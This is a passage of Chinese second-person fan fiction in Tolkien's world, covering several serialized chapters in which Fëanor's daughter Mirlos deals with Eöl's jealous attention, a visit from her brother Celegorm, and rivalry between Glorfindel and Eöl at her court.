最奇怪的难道不是他吗?莫名其妙地和你讨论这回事,你垂眸喝了一口酒,埃欧尔还在继续说着,在他看来凯勒博恩身为泰勒瑞精灵不应该和加拉德瑞尔这样的精灵有过多的纠缠,虽说加拉德瑞尔也有泰勒瑞的血脉,但无论怎么看,她都更像是个诺多精灵,而且加拉德瑞尔那股野心也让埃欧尔感觉到了不悦。 “爱情本来就是奇怪的,你难道能够控制自己必须爱上怎样的对象吗?”虽然你不怎么相信一见钟情,但这东西在精灵之间是时常会出现的,精灵们将其称之为命运的指引,就和曾经的你与吉尔-加拉德一样,不过你既不相信一见钟情,也不相信命运的安排。 “也许。”埃欧尔的声音轻飘飘的,他说:“凯勒博恩对她的爱远超过了对方所能给的,这样一点也不公平。”接着他又开始挖苦加拉德瑞尔,听着听着,你就感知到了不对劲的地方,那就是他似乎是在指桑骂槐,借着加拉德瑞尔阴阳怪气你,你打断他喋喋不休的话,终于抬眼看他,“你这话又是什么意思?我可以认为你这是在嘲讽我么?” 埃欧尔移开视线,“你为什么会这么认为?” “因为你对诺多的厌恶溢于言表。”说着,你往旁边走了一步拉开与埃欧尔的距离,后者因为你的动作微微皱眉,他莫名感到烦躁,因为他本意并非和你发生争吵,而是……而是想和你说几句话而已,可为什么会变成现在这副局面呢?他也不太明白。 “的确,我不否认我对诺多的厌恶,你们的出现也将不幸的阴影带来这里。”埃欧尔说着,他眼角的余光还在观察你的一举一动,他深吸一口气,“但你和那些无礼的诺多不太一样。” 真有趣,他是将你和其他诺多精灵割裂开来了吗?听他这么说,你现在可以确定了,他对你确实存在好感,对诺多的厌烦以及对你的好感交织造成他言行举止上的前后矛盾,怪不得你之前和他相处还会觉得他很奇怪,原来那不是你的错觉。 你无声地笑了起来,埃欧尔凝视着你的笑容,在分析那到底是嘲讽的笑容还是真心的笑容,过了一会,他没得到分析结果,只得到了你似笑非笑的眼神,他心虚地躲避你的目光,你说:“但我也终究是个诺多。” 埃欧尔欲言又止,后来宴会开始了他也没再主动找你搭话,不过他虽然没有和你聊天,但他的视线如影随形,甚至于你在和加拉德瑞尔聊天的时候他都还在盯着你看,加拉德瑞尔见状,低声问你:“你和埃欧尔之间怎么了?” 对此你耸耸肩,还能怎么了呢,无非就是他觉得自己在你这里败了下风,所以心里愤愤不平吧,反正像他这样的精灵小心眼得很。 加拉德瑞尔可没有你那么轻松,她不动声色地观察埃欧尔许久,然后说:“等宴会结束以后你就赶快回自己领地吧,日后如果再与他有什么接触请务必写信告诉我。” 直觉告诉加拉德瑞尔埃欧尔对你的感情很复杂,而这位泰勒瑞精灵的性格阴郁沉闷,也不知道他受了刺激没准会对你做出什么可怕的事情,比起和埃欧尔打好关系,加拉德瑞尔更加在乎的是你的安全,说这话的时候她一直握着你的双手,她的手掌温暖柔软,“还好我们的领地相邻,就算真的发生了什么事情我也能第一时间来帮助你。” 说着,她发自内心地笑了一下,你被她的笑容所感染,也跟着笑了一下,远处的埃欧尔虽然没听清你们在说什么,但是结合加拉德瑞尔担忧的神色,他大概能猜到你们谈话的内容,他抿了抿唇,在宴会结束后主动叫住你,“请等一下。” 真难得,还能从他嘴里听到请求的话语,你回过头,“有什么事吗?” “你……我们日后还会再见面吗?” 你装作没听明白他的弦外之音,“不会,因为你不也很讨厌诺多吗?我日后不会再和你见面了,这对你来说也是一件好事吧?” “我……”埃欧尔的声音停顿片刻,他知道你是故意那么说的,意在让他难堪,“这也不算是好事,而且如果你日后有什么需要帮助的地方,我或许还能帮得上你。” 真是稀奇,他还会主动提出帮助的请求,你摊手,“就目前看来似乎是不需要的。” 埃欧尔的脸色变了变,你觉得有些好笑,“如果没有别的事情了的话,那就——” “我很肯定我们日后还会再见面的。”就在你即将转身离开的时候埃欧尔又这么冷不丁地冒出一句,那语气很笃定,确信你们不日还能再相见。 你没搭理他,头也不回地离开宴会厅,回到自己的房间收拾东西,隔天一早就启程返回自己的领土,才穿过边境线迪莉娅就迎了上来,她早在边境线上等候多时,一见到你就向你奔来,你不用猜也知道她一开口会说什么,无非就是你离开的这段时间里领地上发生的事情,她事无巨细地一一向你汇报,虽然汇报了很多事情,但这些事情她都按照重要程度进行排序,所以听上去也不会那么杂乱无章。 你安静地听迪莉娅说完这些,然后才说:“这段时间辛苦你了。” 迪莉娅不好意思地笑了一下,她又低下脑袋,“其实也算不得多辛苦,而且您将这份工作交给我就是信任我的意思,这也是我的荣幸。” 你伸手拍拍迪莉娅的肩膀,等回到宫殿以后你才想起刚才迪莉娅一开始说的那位客人,因为她只是稍微点了一下,所以你没听仔细,就问:“你说的那位客人是谁?” “她说的那位客人当然是我——”那声音对你来说很熟悉,你回过头一看,那金发飘飘的不正是你的哥哥凯勒巩么,他步履轻快地朝你跑来,像是等待这一刻等待了很久,你转头看向迪莉娅,“那你怎么不说清楚?” 凯勒巩替迪莉娅回答:“因为是我让她别那么说的,这是为了保留神秘感,怎么样,你现在见到我不会觉得很惊喜吗?” 惊喜倒算不上,因为你早就猜到了终有一天凯勒巩会找上门来的,只不过你没想到那一天来得那么快,你把马匹交给迪莉娅让她把马带回马厩,自己则是与凯勒巩面对面地聊天,准确来说应该是凯勒巩喋喋不休地说着各种话题,他都没给你回答的机会。 “本来玛格洛尔还不让我过来的,说是担心我会打扰到你,我就和他说了,我亲爱的弥尔洛斯怎么会觉得我烦呢?然后他拗不过我就放任我来这里了。” 从某种程度上来说,还真是被玛格洛尔给说对了,凯勒巩实在是聒噪,你揉了揉太阳穴,凯勒巩捕捉到你的小动作,他说:“你不舒服吗?” “嗯,因为有个精灵在我耳边说了太多话,把我的脑袋吵得乱哄哄的。” “嘿——弥尔洛斯,怎么说我也是你的哥哥啊,你这么说我可就要伤心了。”凯勒巩睁大眼睛说道。 第124章 第124章她轻飘飘地说:“她心…… 凯勒巩的到来让你的宫殿热闹了不少,但鉴于你回来以后还得先处理之前离开那段时间积攒起来的公务,所以只能暂时失陪,至少你是这么想的。 但凯勒巩并不赞同你的想法,他硬是跟着你走到了书房,一副要撵都撵不走的样子,就跟一条小尾巴一样守在你身边,你坐在办公桌旁边,那些文件迪莉娅都已经替你分门别类地整理好了,你先着手处理比较重要的文件。 抽出一份文件,你才翻开第一页,凯勒巩就一直盯着你看,你忽略了他的目光,全神贯注地批阅文件,中间都没有停下来过,直到另外一位精灵为你送来舒缓心神的茶水和点心,你这才放下手里的羽毛笔。 一看你放下羽毛笔凯勒巩就见缝插针地问:“你的工作都完成了吗?” 你拿起自己那杯茶,另外一杯是给凯勒巩准备的,你抿了一口茶水,“还有一些,你就打算一直坐在这里盯着我看吗?” “怎么?难道不行吗?”凯勒巩一副理所当然的样子,他甚至还冲着你眨了眨眼睛,你撇撇嘴,趁着休息的间隙,你问:“你会在这里停留多久?” 凯勒巩也端起茶杯,但他没有马上喝茶,而是反问:“我来看你结果你开口问的第一个问题就是我什么时候走吗?” 他的脾气倒是越来越差劲了,你在心里如是评价一句,你说:“我只是问问而已,毕竟你肯定手头还有自己的事情要做。” “没有啊,那些事情我都交给库茹芬了。”他说得很理直气壮,你都有点同情库茹芬了,怎么摊上这么一个不靠谱的哥哥,但实际上库茹芬听说凯勒巩要去你那里他的第一想法就是庆幸,毕竟要是凯勒巩继续待在他身边,估计会一直碎碎念关于你的事情,听得库茹芬的脑袋都嗡嗡作响,所以凯勒巩离开也是一件好事,尽管他得要帮着处理他遗留下来的工作,但相较之下还是处理工作更加简单一些。 “可怜的库茹芬。” 凯勒巩耸耸肩,对此不以为意,“他哪里可怜了,要说最可怜的难道不是迈兹洛斯吗?你走了以后他每天都一副魂不守舍的样子。”说着说着凯勒巩就意识到自己这样好像是在给迈兹洛斯说话,他就忽然打住,过了几秒才又补充道:“我刚才的话……你就当我没说吧。” “说出来的话哪里还有收回去的道理,而且我都已经听见了。”你说,你也能理解凯勒巩为什么会突然打住话头,毕竟你上次和迈兹洛斯闹得不愉快,甚至可以说是不欢而散,他担心你现在还在生迈兹洛斯的气,但你可不是那么小心眼的精灵,那件事情在你这里早就已经过去了。 “好吧,但我得先申明一点,那就是我可没有要为他说话的意思。”关键时刻凯勒巩把自己和迈兹洛斯的关系撇得很清,唯恐你一个生气就把他给赶出自己的领地。 你说:“我知道。” 凯勒巩这才喝了一口茶,这茶水里还放了不少蜂蜜,喝起来甜滋滋的,他说:“我听迪莉娅说你之前在加拉德瑞尔的领地?” “是的,她那里有些问题需要我来帮忙。” 凯勒巩“噢”了一声,你的茶水喝得差不多了,于是又把茶杯放在一边低头开始处理剩下的文件,一晃眼的功夫就到了傍晚时分,凯勒巩也真是有耐心,居然能一直在你身边等候,你将批阅好的文件整理一遍再叫来迪莉娅把这些文件交到她手上,等迪莉娅捧着文件离开书房你转过头,问凯勒巩:“你要出去转转吗?你这些天应该也参观过这个宫殿了吧?” 的确,因为凯勒巩来的时候你恰好还在加拉德瑞尔那边参加宴会,所以迪莉娅带着他参观了宫殿,但因为你不在所以凯勒巩全程兴致缺缺的,他说:“参观是参观了的,但没有你在,就算是参观也没意思啊。” 他这话说的很直白,要是换做别的费诺里安,肯定还会再拐弯抹角好一会才让你猜中那真实心思,和凯勒巩聊天的好处就在于这一点。 “正好现在有空,那我带你在这里转一转吧。”说着,你站起身,对着凯勒巩做了个请的手势,你们离开书房沿着长廊走向尽头,尽头连接的是一个宽敞的露天平台,站在平台边缘向远方眺望能够将你的这片领地风景尽收眼底,凯勒巩靠着边缘的围栏,说:“我得收回以前说的话,你是一个非常优秀的精灵领主。” 你似笑非笑地说:“你今天要收回的话还真不少。” “嗯……其实我也不知道从什么时候开始就意识到你和我们有所不同,你看待事物的角度和我们很不同,就好像你能看到我们看不到的东西一样。”凯勒巩的表情放松而平 静,你说:“这很正常,因为我们的处境不同。” “是的,处境不同。”凯勒巩也赞同这一点,就如同当初费艾诺执意要带着自己的儿子外出游历,但对于你,他可以和妻子奈丹尼尔商量妥协,因为他也发自内心地认为你作为一个女儿待在母亲身边会更好一些。 “所以我那个时候不免感到恐慌,担心某一天你会离我们而去。”凯勒巩的双臂交叠放在围栏上,脑袋靠着交叠的手臂,金色长发有几缕滑到他的胳膊上,“所以我才会那么慌不择言的。” 你没怎么认真听凯勒巩说的话,大概是因为你对他纠结的心路历程并不感兴趣吧,他到底是怎么想的你也不在乎,你半是敷衍地说:“你想要从我这里得到原谅还是安慰?” “不,这些我都不想要,我现在想的就是和你待在一块。”凯勒巩用手掌撑起脑袋,“而且你既然没赶走我,那就意味着你也没有那么讨厌我,对吧?” “是的没那么讨厌,但也论不上多喜欢。” 凯勒巩原本笑容满面的表情顿时垮了下来,他轻哼一声,“算了,我不和你计较这件事,不妨说说在加拉德瑞尔那里的情况吧。”凯勒巩这次来你这里也是为了确保你和加拉德瑞尔领地边界的安全,因为如果魔苟斯要发动攻击,他肯定最先下手的就是你们这两块领地。 你们从平台离开,一边走一边聊,你把加拉德瑞尔那里的情况简单地和凯勒巩说了一遍,后者若有所思,当他听见从多瑞亚斯派来帮忙的精灵时他就莫名有些担心,“等等——还有从多瑞亚斯来的精灵?” “是啊,你难道不知道她的领地上也有不少多瑞亚斯的精灵吗?他们有的是来帮忙的,有的是主动选择迁居到那里的。” 这一点凯勒巩还真不知道,但他知道那些多瑞亚斯的精灵对他们费诺里安可没什么好脸色,因此他担心地问道:“他们应该没有针对你吧?” “没有,相反地,他们对我非常友善,当然也存在一些不太友善的,不过那都不用在意。”你没有和凯勒巩提到埃欧尔的事情,因为他这个急脾气一听说埃欧尔的所作所为,哪怕你和埃欧尔没有当面起冲突,估计他也会日后找机会狠狠教训对方一顿,而埃欧尔呢也不是什么善茬,他们凑在一块准没好事。 出于各方考虑,你说:“我在那里过得很开心。” 见你都那么说了,凯勒巩就没再继续追问,只不过另外一边的埃欧尔还在向加拉德瑞尔询问关于你的事情,后者态度里透露出几分不耐烦,她说:“弥尔洛斯已经回到她自己的领地了,既然这些问题你没能当面询问她,那我也不方便告诉你。” 看得出来加拉德瑞尔对你很维护,埃欧尔也不生气,顶多就是有些烦躁而已,你居然在宴会隔天就离开了这里,甚至都没给他反应的机会,又或者说你很可能是故意避开他的。 “我问的并不是什么隐秘的问题。”埃欧尔只是询问你的喜好还有习惯而已,他丝毫没意识到自己的问题超出了点头之交的边界。 加拉德瑞尔既没有说可以,也没有一口回绝,她轻飘飘地说:“她心有所属。” “她已经有心爱的精灵了?”埃欧尔下意识问道,加拉德瑞尔摇了摇头,“她爱的为什么一定要是精灵呢?” 这样的回答让埃欧尔更加一头雾水,他在离开加拉德瑞尔的领地返回多瑞亚斯后还专程找到了王后美丽安,他开门见山地问对方关于你的问题,美丽安表情微妙,她说:“我依稀记得你并不喜欢诺多,而她不仅是诺多,更是一位费诺里安,比起回答你的问题,我更想知道你是带着什么样的心情发问的。” 埃欧尔僵住了,他沉默许久,“我不明白,我只是……想要了解她更多而已。”他并不相信一见钟情的命运,他将其归因为对你的警惕。 没错,他得要谨防你做出什么危害多瑞亚斯的举动。 第125章 第125章“是辛葛王让我来这里…… 凯勒巩在你的领地的这几天虽说有些烦人,但大部分时候他还算是派的上用场,就比如说现在,你正在给矮人王室写信,希望他们能多派些能工巧匠过来,凯勒巩在旁边凑热闹的同时还不忘插一句,“我听说芬罗德发现了人类。” 嗯?他的消息是怎么这么灵通的?还是说芬罗德这件事连加拉德瑞尔都没有告诉呢?否则你去拜访她的时候她怎么没和你说这回事?你的疑惑溢于言表,凯勒巩一看就知道你还没听过这个消息,他有些小骄傲地说:“如果不是我的话估计你现在还被蒙在鼓里吧?” 倒也没有那么夸张,你顶多就是过一段时间才得知这个消息而已,而且这也不是什么紧急的事情……嗯,好吧,稍微有点紧急,因为你忽然想起来历史上的东来人在某次战役中反水让精灵和矮人元气大伤,具体是哪一场战役你不了解,因为那段过往实在是太悲伤了,以至于精灵都不愿与你细说。 因此你顺着凯勒巩的意思说:“那我还应该谢谢你才对。” “说谢谢那就太见外了。”别看凯勒巩嘴上是这么说的,但他心里可美滋滋得很,毕竟其他费诺里安可都没这待遇,他果然是个幸运的精灵,他接着又说,“他不仅发现了那些人类,甚至还和他们相处愉快。” 这些信息你早就知道了,现在新冒出来的问题就是那些叛徒东来人什么时候出现,想着,你的表情变得严肃凝重,凯勒巩还以为你不喜欢人类呢,他说:“你不喜欢那些人类吗?其实我也不怎么喜欢,但没办法,芬罗德倒是对他们很友好,还教会他们很多东西,要我说还真没这个必要,毕竟他们和我们又不是同族。” 你也不指望对同一种族的泰勒瑞都心存排斥的凯勒巩会对人类产生什么好感,而且他这些消息也都是听说的,就目前看来他还没有见过这些个人类,因此对他们的认知还很单薄。 凯勒巩一边说话一边观察你的表情变化,你紧抿着嘴唇像是在思索什么事情,他又问:“你在想什么?” “我在想,那些人类日后或许能成为我们的盟友。”你如实回答。 “盟友?但他们现在还十分脆弱,稍微一场疾病就能杀死他们,说真的,我想不明白同样是伊露维塔的子女,为什么人类那么脆弱。”当凯勒巩听说人类会因为各种疾病死去的时候他都不免愣了一下,因为身为精灵的他从来都没有经历过疾病。 “人类的身体或许脆弱,可人类的精神却又是那么坚韧不拔。”你说。 凯勒巩奇怪地反问:“你都还没见过他们呢,怎么就那么了解他们呢?”就好像……你是人类一样。 “因为都是伊露维塔的子女,肯定有着相同之处,尽管在身体上有所不同,但精神是共通的。” 说着,你再次拿起羽毛笔给矮人王子奥特写信。 写完这封信,凯勒巩又说:“那你要去看看那些人类吗?你似乎对他们很感兴趣。” 感兴趣吗?你刚才说的话都是评价的话语,似乎没有表达你对人类的好奇吧?而且再说了,你这段时间肯定不能离开自己的领地,不然等你回来积攒的公务又得你处理好一阵子的了,公务这种东西就跟细菌一样会不停繁殖。 “不,我可没你那么空闲。”而且你的直觉告诉你要是真的去了,估计还会遇到迈兹洛斯他们,然后场面就会演变成莫名其妙的包饺子,你才不会掉入凯勒巩的陷阱呢。 “噢……好吧。”凯勒巩的声音低落,你把这封信交给助手让她今天就寄出去。 凯勒巩算是发现了,你一天下来就只有傍晚那段时间是空闲的,能够带着他在后山散步,他也识趣地没有提起其他费诺里安,而是聊些有的没的,他说:“上次格洛芬德尔还特意找过来了呢。” “然后你和他打了一架吗?”你一脸认真地问道,凯勒巩被你噎了一下,他干巴巴地说:“什么?我也不是那种动不动就打架的精灵吧?” 但他听上去很讨厌格洛芬德尔,所以就算他们真的打起来了你也不奇怪,而且你之前好像也有收到过格洛芬德尔的信件,他提出一个让你有些惊讶的建议,那就是希望带着自己的下属来你的领地生活,你乍一眼还以为自己看错了,因为这样一来难道不就相当于背叛了他忠诚的图尔巩吗? 不过格洛芬德尔在信里提到他已经和图尔巩大人说起过这件事,后者没有反对,甚至欣然同意。 看到这里的时候你忍不住扯了扯嘴角,图尔巩也是心大,格洛芬德尔那么说他都能接受,当然,他同意还可能是出于另外一个原因,那就是希望格洛芬德尔的到来能够调和你与其他诺多的关系,如果图尔巩真是这么想的话倒也不奇怪,毕竟他和芬巩以及他们的父亲芬国昐一样都希望诺多精灵内部一团和气。 言归正传,你没有答应格洛芬德尔的请求但也没有拒绝,给出的答复模棱两可,因为没准你日后还有用得到格洛芬德尔的地方呢。 “啊……我也没有这方面的意思,然后呢,你们见面了?” 凯勒巩耸耸肩,“我们没有 见面,我回去的时候恰好他已经离开了。“听他说话的口吻还真有点可惜,他接着又说:“不过他和迈兹洛斯聊了很多,但是你也知道迈兹洛斯的性格,他不想说的事情我一个字都不会知道的,所以——我压根就不知道他们聊了什么。” 你安慰道:“没关系的,虽然你不知道,但我可以保证的是玛格洛尔肯定知道的。” “你这真是在安慰我吗?我怎么觉得你还在挖苦讽刺我啊?”凯勒巩嚷嚷着,玛格洛尔确实和迈兹洛斯的关系更好,而且迈兹洛斯也认为玛格洛尔更加成熟,但这并不意味着他就不成熟稳重了啊。 “这都被你发现了啊。”你故作惊讶。 凯勒巩轻哼一声,他明白这是你的小把戏,为的就是惹他炸毛,他才不会上当了,他烦闷地踩了踩脚下的杂草,“他们两个就一直瞒着我们。” “有时候知道太多事情也不是一件好事。”你就因为知道精灵历史上的太多悲剧以至于你虽然不想插手,但最后也还是做了些努力来改变历史,反倒像是凯勒巩这样的精灵不知道未来的发展所以现在也还算无忧无虑,至少看起来是这样的。 “你这话怎么就跟上了年纪的精灵一样啊。”凯勒巩惊讶地睁大眼睛,心想着你不是他们这群手足里最小的一个吗?和你一对比,他好像是更幼稚的那一个,难怪迈兹洛斯有时候谈论事情都会避开他,只和玛格洛尔说。 你笑了一下,“那是因为你太有青春活力了。” 这话好像依旧是在阴阳怪气他。 你们穿过后山的小路,站在后山最高峰眺望远方,从这里看向北方恰好是迈兹洛斯领地所在的方向,凯勒巩看了一会又侧过头去观察你的侧影,他忍不住想,你还会想念那些许久不见的费诺里安吗?你会为自己的决定而感到后悔吗? 你也侧过头,与凯勒巩四目相对,然后凯勒巩又听见你说:“走吧,我们该回去了。” 凯勒巩后来又在你这里停留了几天,在矮人王子派新一批矮人工匠来的时候他还帮着检验了这些矮人工匠的水平,当然,因为他言辞犀利而和矮人吵起来就是另外一回事了,总之他要离开的时候你还特意一路送他到边境,临走前他还说:“我都在想要不然直接把你带走算了。” “你确定吗?”你点了点自己腰间的佩剑,而后笑着说:“你打不过我的。” 凯勒巩表情吃瘪,“我亲爱的妹妹,你就不能给我留点面子吗?” 没关系,反正这里就只有你和凯勒巩两个精灵,什么面子不面子的。 “好了,我该走了,但我日后还会再来的,你总不会不欢迎我吧?”凯勒巩抱住你,你幽幽地说:“如果我不欢迎你会阻止你的到来吗?” “并不会,我还是会来的。”凯勒巩的声音里带着笑意。 那不就好了,你拍拍他的后背,“再见了凯勒巩。” “嗯,再见。” 你没想到的是自己前脚刚刚送走凯勒巩,后脚又来了两个客人,其中一个你不奇怪,但另外一个到来却让你眉头紧皱,你看着出现在大厅里的格洛芬德尔和埃欧尔,尽管他们这一次没有一见面就刀剑相向,但他们之间的气氛也算不上多友好,你站在台阶上能够清楚地看见他们之间的互相打量与观察。 过了好一会,你才轻咳一声,“你们……来这里的目的是什么?” 埃欧尔微微眯起眼睛,“是辛葛王让我来这里的。” 格洛芬德尔瞥了埃欧尔一眼,“真稀奇,辛葛也会关心诺多吗?” 第126章 第126章“他来这里的目的绝对…… “当然,尽管诺多犯了错,但辛葛王看在都是亲族的份上自然还是会伸出援手的。”埃欧尔凉飕飕地说,虽说他和这位名叫格洛芬德尔的精灵才第一次见面,但他可以很肯定自己对这个诺多一点好感都没有,甚至还有隐约的敌意,而且这敌意不是单方面的,而是互相的,因为他也感受到了对方隐藏的敌意。 格洛芬德尔收回目光,“那辛葛王可真是宽容大度。”他嘴上是这么说的,但心里可不是这么想的,毕竟辛葛帮助加拉德瑞尔是因为她的母亲是泰勒瑞的公主,这一举动情理之中,可他特意帮助你又是因为什么呢?你可是费艾诺的女儿,跟辛葛没什么沾亲带故的关系,倒是和天鹅港事件有着紧密的联系。 所以格洛芬德尔不免对这个泰勒瑞精灵多了一份提防,因为他很可能是辛葛派来的眼线,否则他也找不出别的原因。 你往下走了几节台阶,站在他们不远处,你先是询问埃欧尔,“既然你来这里是辛葛王的意思,那么他有让你带什么口信过来吗?” 埃欧尔说:“他说你的领地周围防守力量太过薄弱,仍需加强。” 这当然是他在说谎,因为他当初离开多瑞亚斯前往你的领地前在辛葛王面前又是另外一套说辞,他告诉辛葛自己担心你这邪恶的费诺里安会对多瑞亚斯心存邪念,所以必须前去探查一番,辛葛赞扬了他这果敢的精神,并且非常支持他的行动,只是坐在辛葛王身边的王后美丽安看向埃欧尔的眼神复杂,身为迈雅的她自然知道埃欧尔说的这些话语掺杂了多少水分,多半是真假掺半的。 埃欧尔明智地避开了王后美丽安投来的目光,他知道这位睿智的王后肯定猜到了什么,但她出于种种原因并没有明说。 时间回到现在,埃欧尔对于你的询问给出的回答中规中矩,要不是你通过第一个副本了解到他的真实性格,估计你很可能会被他欺骗。 你长久地凝视着埃欧尔,后者垂下眼帘,避免泄露自己的心虚,过了一会,你轻飘飘地说:“是么,那这么说来我还得要感谢你才对啊。” 格洛芬德尔根本不相信埃欧尔这套说辞,他还非常担心你会被欺骗,他又追问道:“你们的帮助是不求回报的?我想不是吧?” 眼看你都要揭过这一页了,结果格洛芬德尔还在追问个不停,埃欧尔没理会格洛芬德尔,这家伙只会碍事。 你对着格洛芬德尔打了个眼色,示意他不要再继续追问了,你接着又问候了格洛芬德尔,所幸他这次是孤身前来这里,要是他先斩后奏直接带着他的下属来到这里,恐怕就不免要经历一场冲突了。 “你们一路奔波想必也累了吧。”你说这话不是为了关心他们,主要还是为了先打发他们两个去休息室里待着,等你处理完公务再去和他们聊天。 格洛芬德尔说:“你手头还有别的事情要忙对吗?” 你点了点头,“劳烦你们二位稍等片刻了。” 你让助手迪莉娅带着他们去附近的休息室,自己则是 先回到自己的卧室,有些文件你放在了床头柜上,在你翻看文书的同时待在休息室里的格洛芬德尔和埃欧尔之间的气氛也愈发剑拔弩张,也不知是谁先开的头,总之他们有来有往地互相嘲讽,埃欧尔怒斥诺多的残忍,格洛芬德尔阴阳怪气埃欧尔来你的领地心思不纯,这是一场没有硝烟的战争,同样也是没有赢家的战争。 “辛葛当真有这么好心?我看你是睁着眼睛说瞎话吧。”格洛芬德尔讥讽地反问,“不过更让我好奇的是你为什么放着其他的费诺里安不监视,反倒是盯上了这位费诺里安呢?你应该知道的,她并未参与天鹅港弑亲事件,她是无辜的。” “她是否无辜不是你三言两语就能确定的。”埃欧尔斜睨着格洛芬德尔,他好像发现了什么,从他对你的竭力维护中看出他对你的心思,埃欧尔又冷笑一声,“而你也只不过是个可怜虫而已,你的追求在她眼里就是无可避免的烦恼。” “你——” 一看格洛芬德尔的反应埃欧尔就知道自己说对了,他果然很在意这一点,他像是抓住了格洛芬德尔的把柄,又是一番冷嘲热讽,直到格洛芬德尔说出:“至少我和她同为诺多精灵,而且一同在维林诺生活过。” 他这是在做什么?在他面前炫耀吗?埃欧尔挑起一边的眉毛,“可惜的是你们再也回不去以前的生活了,毕竟你们已经背叛了维拉甚至是伊露维塔。” 格洛芬德尔沉默不语,因为他心知肚明埃欧尔说的都是事实,只不过事实往往都是尖锐残忍的,他被这话语刺痛到了。 气氛陷入沉默,有时候沉默的气氛反倒比之前针锋相对的气氛好多了,埃欧尔还在暗中观察格洛芬德尔,目光凝视着他闪烁着隐约光辉的金色长发,他的金发没有加拉德瑞尔的那么美丽,可也比生活在贝烈瑞安德大陆上的泰勒瑞精灵美丽得多,再结合刚才你对格洛芬德尔的态度,虽说你对他或许还没有到喜欢的地步,但至少你很适应他的存在。 先前在加拉德瑞尔的领地时他尚且可以容忍你和其他精灵的相处,毕竟那些都是女精灵,只不过现在,他确实很在意你和格洛芬德尔的关系。 埃欧尔从不觉得自己是个心胸宽广的精灵,但他并不会为此而反思,更不会特意改变,因为他生性如此。 坐在另外一边的格洛芬德尔也在思索许多事情,首先是埃欧尔的到来是否意味着辛葛想要插手诺多的事情呢?而且他还特意挑选了你的领地,难道是认为你是好拿捏的精灵吗?其次就是埃欧尔不明朗的态度,他摸不准埃欧尔对你到底是什么意思,他似乎厌恶着你,但除了厌恶,从他身上体现出来的是一种矛盾纠结的状态。 是的,一种矛盾的状态。 与此同时待在自己卧室里的你听迪莉娅汇报格洛芬德尔和埃欧尔的相处情况,说到最后她略带担忧地问:“一直放任下去他们会不会打起来啊?” 迪莉娅的想象力可真丰富,你忍不住笑了一下,又说:“他们现在正在我地盘上,要是真的打起来了那就是对我的冒犯,所以你放心吧,他们暂时不会那么做的。” 听你那么说,迪莉娅才放下心来,她又说:“但那个泰勒瑞精灵对格洛芬德尔大人非常没有礼貌。” 你不以为意,这倒也不是你偏心埃欧尔,而是你没必要为了这点小事分散自己的注意力,你说:“我想格洛芬德尔肯定会处理好这件事的。”说着,你又交给迪莉娅几个任务让她别总是担心这个担心那个的了。 迪莉娅接下任务就离开了你的卧室。 你处理完工作上的事情以后没有马上去休息室,而是又隔了一段时间才起身去往休息室,你走到休息室门口,里面安静得可怕,你先是敲了敲门,里面传来格洛芬德尔的声音,他礼貌地问道:“是谁?” “是我。” 格洛芬德尔也听出你的声音,他走到门口为你打开门,对站在门外的你笑了笑,“你的工作都已经处理完了吗?” “是的,我一处理完工作就来找你们了,你们相处得还算愉快吗?” 埃欧尔就站在格洛芬德尔身后不远处,尽管他们之间没有任何交流,但还是不约而同地说:“还算可以。” “你们没打一架还真是令我感到惊讶。”你半开玩笑地说,格洛芬德尔无奈地笑着叫了一声你的名字:“弥尔洛斯……我还不至于在你的领地上闹出这种事情来。” 在你和格洛芬德尔谈话的同时,埃欧尔就如同一道阴影始终阴测测地盯着你们看,准确来说是盯着你看,也不知道他脑袋里都在想什么。 你又对着埃欧尔点点头,“来吧,我带你们参观一下这里。” 埃欧尔可不想一路上看着你和格洛芬德尔愉快聊天,他当即表示,“我只想去你这里的工坊看看,听说你这里有不少矮人的能工巧匠,比起漫无目的的参观,我更希望和这些矮人交流锻造心得。” 这话可是他自己这么说的,你也没有挽留他,给他指了个方向告诉他一直往西面走就是工坊的所在地了。 等埃欧尔走远了,身影都消失不见了,这时候格洛芬德尔才说:“他来这里的目的绝对不是来帮你的。” 你没去看格洛芬德尔也知道他现在肯定很着急,甚至比你还着急千百倍,搞得好像他才是这一块的精灵领主,你说:“我知道啊。” “那你——” “可我总不可能直接把他轰走吧?而且既然他说了是来帮忙的,那我倒是想要看看他能帮到什么程度。”你笑盈盈地说。 第127章 第127章“您……我不明白您为…… 格洛芬德尔对于你的做法没发表意见,尽管他内心所想的是尽快请这位泰勒瑞精灵哪来的回哪去,但毕竟这里是你的领地,你才是这里的领主,他无权干涉你的决定。 他的心思也不在参观宫殿上面,参观到一半他就说:“我上次在信件里提到的事情你有考虑过吗?” 他在信件里提到的事情?那他可在写给你的信里提了不少事情,他突然这么说你都不知道他指的是哪一件事情,你说:“什么事情?” “关于让我加入你的领地。” “图尔巩不会多想吗?而且你的举动更像是主动背叛了芬国昐,你就没有想到过这一层面吗?” 格洛芬德尔当然询问过图尔巩和芬国昐,实际上他们都很赞同格洛芬德尔的决定,认为这样也能增强你的领地的实力,他说:“他们都没有反对的意思。” “好吧,就算他们没有反对,那其他费诺里安呢?” 这确实是最大的阻碍,格洛芬德尔沉默不语,而且他得承认自己提出这个请求还心存一份私心,因为这样一来就能距离你更近一些了。 你暂时跳过这个话题,格洛芬德尔也心照不宣地没再提起,你见他对参观宫殿兴致缺缺,就索性从马厩里牵出两匹马,你们俩骑在马背上跟着巡逻队伍在边境线上巡逻,这阵子魔苟斯似乎消停了一会,当然也有可能是因为你的领地与魔苟斯的巢穴安格班距离遥远,他难以越过其他精灵领地将自己的手伸到你的领地上。 “芬国昐大人时常会提起你。”格洛芬德尔说,话语间你们骑着马穿过一条小溪,马蹄踩入溪水中溅起星星点点的水花,你心不在焉地应了一声,说:“是么。”你没指望芬国昐能说什么好话,你和这位精灵的接触并不多,虽然你曾经与芬国昐和他的子民穿越了冰川,但真要论起来你和芬国昐的关系也算不上多熟悉。 而且对方对费艾诺的感情也很复杂,你说:“他或许还在埋怨我当初大闹会议现场吧?” 可格洛芬德尔却轻轻地摇了摇头,“没有,他从来没有埋怨过这件事,他说的最多的就是你和你的父亲很像。”芬国昐的原话是“当初在会议上发怒的弥尔洛斯让我看到了费艾诺的影子”。 你撇撇嘴,心说现在你的父亲估计还在曼督斯殿堂里等待着审判吧,你可不想落得个和他一样的下场,你说:“毕竟他是我的父亲,但就算再像,他是他我是我。” 